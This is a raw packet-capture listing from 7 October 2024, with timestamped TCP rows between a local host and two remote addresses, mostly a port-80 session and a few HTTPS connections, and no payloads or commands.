Oct 7, 2024 21:18:37.873008013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.873018980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.873023033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.873033047 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.873049021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.873058081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.903848886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.903913021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.903925896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.903944969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.903955936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.903979063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904014111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904038906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.904046059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904082060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.904086113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904134989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904165983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904169083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.904198885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904232979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904268980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.904334068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904366016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904398918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904400110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.904472113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904508114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.904522896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904555082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904587984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904592037 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.904619932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904654980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904660940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.904772997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904809952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.904853106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904887915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.904925108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.904964924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905002117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905035019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905067921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905071974 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.905100107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905150890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905183077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905189037 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.905215025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905246973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905251026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.905278921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905312061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905318022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.905427933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905466080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.905653954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905685902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905719042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905724049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.905750036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905782938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905788898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.905814886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905824900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.905847073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905852079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.905881882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905888081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.905915022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.905920029 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.906059027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906164885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906193972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906210899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.906225920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906243086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.906261921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906263113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.906291008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906316996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.906330109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.906462908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906491041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906523943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906537056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.906555891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906586885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906594038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.906625032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.906636953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906671047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906707048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906733990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.906744957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.906774998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.929732084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.929797888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.929807901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.929841042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.929855108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.929893017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.929924965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.929929972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.929959059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.929986000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.930001020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.930084944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.930274010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.951929092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.951982975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.951998949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.952016115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.952048063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.952065945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.952111006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.952142954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.952166080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.952177048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.952181101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.952209949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.952215910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.952250004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.952260971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.952292919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.952326059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.952337027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.952361107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.952367067 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.952393055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.952416897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.952425957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.952440977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.952464104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.952528000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.953638077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.953697920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.953730106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.953749895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.953778982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.953788996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.953821898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.953833103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.953855991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.953856945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.953891993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.953943014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.953975916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954009056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954018116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.954041958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954046965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.954075098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954103947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954138041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954143047 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.954222918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.954258919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954291105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954324961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954328060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.954356909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954359055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.954390049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954422951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954461098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.954473019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954505920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954538107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954570055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954576015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.954603910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954641104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954644918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.954678059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954709053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954715014 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.954745054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.954770088 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.954781055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.955089092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.955132961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.955140114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.955173016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.955224037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.955256939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.955265045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.955290079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.955293894 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.955323935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.955446959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.986330032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986382008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986385107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.986397028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986423016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.986450911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.986489058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986504078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986519098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986535072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986540079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.986551046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986567020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.986582041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.986619949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986654997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986736059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986749887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986766100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986771107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.986787081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.986802101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.986898899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986913919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986929893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986944914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986957073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.986960888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986974001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.986975908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986990929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.986998081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987024069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987163067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987176895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987265110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987278938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987294912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987304926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987309933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987324953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987330914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987346888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987370968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987411976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987426996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987458944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987468004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987487078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987502098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987518072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987523079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987538099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987539053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987556934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987562895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987576962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987591982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987731934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987766027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987797022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987812042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987827063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987832069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987855911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987873077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.987952948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987967014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.987988949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988007069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988014936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988030910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988054037 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988097906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988121986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988135099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988137007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988152027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988167048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988168001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988183975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988192081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988192081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988207102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988230944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988421917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988435984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988451958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988456011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988466024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988472939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988481998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988488913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988497019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988512039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.988512993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988538980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.988563061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.012422085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.012449980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.012475967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.012491941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.012499094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.012507915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.012525082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.012533903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.012540102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.012556076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.012572050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.012573957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.012674093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.034432888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.034461975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.034477949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.034514904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.034554005 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.034560919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.034575939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.034593105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.034594059 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.034610987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.034626961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.124739885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.125180006 CEST	443	49847	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.125763893 CEST	49847	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.125786066 CEST	443	49847	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.126315117 CEST	49847	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.126319885 CEST	443	49847	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.129822969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.205456972 CEST	443	49848	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.205924988 CEST	49848	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.205943108 CEST	443	49848	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.206707001 CEST	49848	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.206728935 CEST	443	49848	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.215307951 CEST	443	49849	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.215784073 CEST	49849	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.215818882 CEST	443	49849	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.216223955 CEST	49849	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.216228962 CEST	443	49849	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.253588915 CEST	443	49847	13.107.253.45	192.168.2.5
